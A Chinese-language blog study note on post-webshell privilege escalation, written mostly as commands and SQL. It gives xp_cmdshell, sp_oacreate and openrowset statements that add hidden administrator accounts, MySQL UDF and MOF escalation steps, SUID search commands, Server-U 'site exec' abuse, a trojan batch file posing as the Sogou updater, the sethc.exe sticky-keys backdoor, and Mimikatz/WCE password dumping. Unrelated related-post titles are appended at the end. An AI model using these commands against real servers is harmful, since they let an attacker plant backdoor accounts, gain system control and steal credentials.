系统层面提权:拿到webshell后通过对漏洞和工具的利用获取服务器权限或用户名及密码,开启远程连接。

网络层面提权:拿到webshell后无法绕过防火墙等来建立连接时可以通过反弹shell以及端口转发的方式来进一步控制。

系统提权-exp

Windows

寻找可写目录对其上传exp或cmd.exe,进行提权。

windows内核漏洞提权exp集合:
https://github.com/Secwiki/windows-kernel-exploits

eg:通过systeminfo查询相关补丁信息,查看是否有可利用的exp。


发现可以利用ms11_080漏洞进行提权,上传exp。

对其添加账户

查看账户.

开启远程链接

Linux

linux提权后得到的是交互式shell,需要反弹才能进行下一步,因此先用nc或者lcx进行反弹,同理这里用unaem -a 查看,在exploit库里去寻找可以利用的模块,上传exp后利用chomd 给予权限(若exp为.c时需要先对其进行编译gcc xxx.c -o),添加用户。

linux内核提权漏洞exp集合:
https://github.com/SecWiki/linux-kernel-exploits

eg:脏牛

查看内核版本及信息

上传shell.pl

执行shell.pl

开启监听

上传dirty.c

编译dirty.c

生成一个root权限用户

使用putty链接

数据库提权

mysql

udf提权

由于udf.dll文件引入mysql中时其中的函数会被作为mysql函数使用,因此可通过自定义函数来执行系统命令。

mysql版本大于及5.1时udf.dll文件放在mysql安装目录的\lib\plugin才能创建自定义函数,若不存在需自行创建plugin。

eg:

在lib下创建plugin文件夹 并上传dll文件

修改mysql.ini文件

创建cmdshell,增加新用户

create function cmdshell returns string soname "udf.dll"

新增隐藏用户,并加入管理员组

  nc开启监听

返回shell

mof提权

通过控制mof中的vbs脚本执行系统命令,通过load_file将文件写入wbem\mof中且每五秒执行一次

条件:版本为win2003及以下、secure_file_priv的值不为null eg:

1、有写权限的Webshell情况下:

找到可写目录上传mof文件,创建用户

添加admin用户

2、有写权限的数据库账号

利用大马上传mof文件

使用sql语句将文件导入到具有读写 权限的目录下 

使用msf进行mof提权

mssql

条件:mssql服务没有降权、有sa账号与密码

利用扩展存储过程来执行系统命令

利用xp_cmdshell:

xp_cmdshell在mssql2005后是默认关闭的,若有sa权限可以将其开启

exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;

执行系统命令:

exec master.dbo.xp_cmdshell 'ipconfig'//查看ip信息
exec master..xp_cmdshell 'net user test 12345 /add' //添加用户
exec master..xp_cmdshell 'net user localgroup administrators test /add' //添加新用户至管理员组

eg:
修改为允许修改高级参数


打开xp_cmdshell扩展

添加用户

添加至管理员组

利用SO_OACreate提权

同样,在2005后是默认关闭的,将其打开

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;

执行系统命令:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 123 123 /add' //添加用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 123/add' //添加至管理员组

以上为2k系统下,xp和2k3需要在用户名后添加,如 user 123,如user123 123/add

利用xp_rewrite提权

利用存储过程脚本可以写入注册表来实现对超级管理员账号的克隆。
在xp_cmdshell与沙盘模式开启的情况下, 利用jet.oledb执行系统命令

select count(*) from master..sysobjects where xtype='x' and name='xp_cmdshell';
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;

启用openrowset 与open datasource组件

exec sp_configure 'show advanced options',1;reconfigure//允许修改高级参数
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure//打开组件扩展
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')//添加用户
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administrators admin /add")')//添加新用户至管理员组

原生组件提权

suid提权

(设置用户id)通过suid权限对二进制文件或程序来执行命令,因为当这类文件执行时,调用者会暂时获得该文件的文件拥有者权限
可以通过命令查找具有root权限的suid文件

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

常用于suid提权的文件与指令:vim、bash、more、less、nano、cp

sudo提权

superuser do,普通用户在使用sudo 执行命令时会暂时拥有root权限,可以在该命令运行过程中调用系统命令运行/bin/bash,那么就是在root权限下运行bash了
        原理:Sudo 错误地在参数中转义了反斜杠字符,从而触发了缓冲溢出,最终导致任何本地用户都可以获得 root 权限。通常,在 shell 中(sudo -s 或 sudo -i)运行命令时,sudo 都会转义特殊的字符。但是,在使用 sudoedit -s 或 sudoedit -i 时实际上又没有进行转义,这使得缓冲区溢出成为了可能。
        利用sudo -v查看sudo版本,小于1.8.28时存在sudo漏洞,sudo su获得root权限

第三方软件/服务提权

server-u提权

对serverudaemon.ini有修改权限时

对serverudaemon.ini进行修改,添加serveru的新用户进行登录,命令行输入对应服务器的ip地址及密码

ftp>quote site exec net user username passwd /add
ftp>quote site exec net localgroup administrators username /add

对serverudaemon.ini没有修改权限时

查看serverudaemon.ini文件中passwd参数值,对其进行爆破,登录默认账号localadministrator, 默认密码#l@$ak#.lk;0@P 。若被修改了,可下载安装目录下的serverAdmin.exe使用winhex(十六进制查看器),查找LocalAdministrator后面即可看到相应密码。

搜狗输入法提权:

在低版本的搜狗输入法的根目录下有pinyinup.exe用来跟新词库,因此可以利用更改过名字的木马来伪装,当搜狗输入法更新词库时便会完成提权
eg: 构建木马

@echo off
@net user ndsec ndsecpw /add
@net localgroup administrators ndsec /add

将原本的更新程序重命名

上传新生成的

手动更新词库(等不及了)

shift 后门

通过粘滞键的功能在复制文件的同时对文件名进行更改,将cmd.exe文件复制到 c:\windows\system32\dllcache目录,并更名为sethc.exe
远程连接靶机,bat运行后,注销系统,五次shift以system调用cmd 将经过quickbfc.exe进行编译的bat批处理文件,上传到webshell并执行,远程连接
eg:

echo 提权开始......
copy c:\windows\system32\cmd.exe c:\windows\system32\dllcache\sethc.exe
copy c:\windows\system32\dllcache\sethc.exe c:\windows\system32\sethc.exe
echo 提权结束......

在远程连接后构建bat

注销后连按五次shift

提权后的操作 密码抓取

BPD


上传BrowserPasswordDump.exe 并启动

WCE(xp、2003、vista、2007、2008下)


将哈希值导出

摘取后注入 (wce路径下执行 wce.exe -s +hash )

用dir \domain\c$查看 列出文件(wce路径下)

Mimikatz

Privilege::debug查看权限

Sekurlsa::logonpasswords获取账户密码信息

【学习笔记】-提权篇(保姆级)相关推荐

  1. Julia 学习笔记(五) | 模块开发 - 保姆级教程

    唠唠闲话 今年参与了 OSPP'22 的 Julia 开源项目,期间学习了 Julia 模块从开发到测试的完整过程.借这个机会,整理这段时间学习到的知识.Julia 在开发提供的工具便捷丰富,且对新人 ...

  2. 高校疯传!法国TOP双硕算法专家匠心打造一套保姆级AI学习笔记并公开(保姆级/20G高清/PPT/代码)...

    AI 显然是最近几年非常火的一个新技术方向,从几年前大家认识到 AI 的能力,到现在产业里已经在普遍的探讨 AI 如何落地了. 我们可以预言未来在很多的领域,很多的行业,AI 都会在里边起到重要的作用 ...

  3. flink1.12.0学习笔记第1篇-部署与入门

    flink1.12.0学习笔记第 1 篇-部署与入门 flink1.12.0学习笔记第1篇-部署与入门 flink1.12.0学习笔记第2篇-流批一体API flink1.12.0学习笔记第3篇-高级 ...

  4. RCNN学习笔记——第三篇: 实现FRCNN网络训练、评价与预测(附全部源码)

    RCNN学习笔记--第三篇: 实现FRCNN网络训练.评价与预测(附全部源码) 本文是个人根据B站大佬Bubbliiiing的FRCNN系列视频同步完成FRCNN训练,记录心得和遇见的问题. 关于RC ...

  5. 树莓派4B学习笔记——IO通信篇(UART)

    文章目录 UART简介 树莓派使用UART与串口屏通信 串口屏简介 硬件连接 配置串口接口 树莓派打开UART接口 树莓派安装串口调试助手 编程实现 wiringSerial.h Serial简介 C ...

  6. JavaScript学习笔记之入门篇

    JavaScript学习笔记之入门篇 JavaScript引入 1. 页面级 js: 2. 外部js文件: JavaScript变量 1. 变量的作用: 2. 声明变量: 3. 变量赋值: 4. 单一 ...

  7. 手把手带你入门深度学习(一):保姆级Anaconda和PyTorch环境配置指南

    手把手带你入门深度学习(一):保姆级Anaconda和PyTorch环境配置指南 一. 前言和准备工作 1.1 python.anaconda和pytorch的关系 二. Anconda安装 2.1 ...

  8. Postgresql学习笔记-高级语法篇

    Postgresql学习笔记-高级语法篇 Postgresql 约束 Postgresql约束用于规定表中的数据规则. 如果存在违反约束的数据行为,行为会被约束终止. 约束可以在创建表的时候就规定(通 ...

  9. javaSE学习笔记01 入门篇

    javaSE学习笔记01 入门篇 java语言概述 Java背景知识 java是 美国 sun 公司 在1995年推出的一门计算机高级编程语言. java早期称为Oak(橡树),后期改名为Java. ...

最新文章

  1. 零基础学python看什么视频-零基础自学Python是看书还是看视频?
  2. 云原生生态周报 Vol. 14 | K8s CVE 修复指南
  3. [云炬创业基础笔记]第十章企业的利润计划测试7
  4. Part 1 – Reverse engineering using Androguard
  5. 【收藏】从 0 到 1 学习 elasticsearch ,这一篇就够了!
  6. c# 无损高质量压缩图片代码
  7. 用python绘制玫瑰花的代码_python也能玩出玫瑰花!程序员的表白代码
  8. sap sdi mysql_SAP HANA 实时数据模型与导入数据模型之间基于 SDI 的混合
  9. 大学二年级各科的学习成绩
  10. C#与OC交互方法中的ong参数的兼容性问题
  11. groupadd 添加用户组
  12. uniapp打开App Store下载页面
  13. nfc卡模式与标准模式_干货丨NFC最全解析
  14. Office 添加或删除 skype for business、oneNote、OutLook、oneDrive等功能
  15. 大奖赛现场统分。已知某大奖赛有n个选手参赛,m(m2)个评委为参赛选手评分(最高10分,最低0分)。统分规则为:在每个选手的m个得分中,去掉一个最高分和一个最低平 每日一题--2020049--
  16. HTML作业-蛋糕店
  17. Effective+Java+中文版
  18. 智简魔方财务系统详细环境搭建和安装教程
  19. android小型app创意,创意无止境!17款让人脑洞大开的APP推荐
  20. MFC 解压7z文件

热门文章

  1. 信号完整性之串扰(四)
  2. 李开复眼中的苹果微软谷歌优缺点
  3. uniapp之引入字体图标
  4. 帝国CMS仿精美的茶杯狐电影网站源码+手机电脑自适应+电影电视剧动漫演员剧情综艺
  5. 喇叭的基本发音原理简介
  6. 单目标优化,多目标优化,数值优化,组合优化
  7. 字节跳动 Java 后端岗,三轮面试,四个小时,灵魂拷问,结局我哭了但下次还敢
  8. 怎样通过注册表禁用USB口和解封USB口?
  9. 程序员的焦虑-终身学习
  10. 计算机科学之父----Alan Turing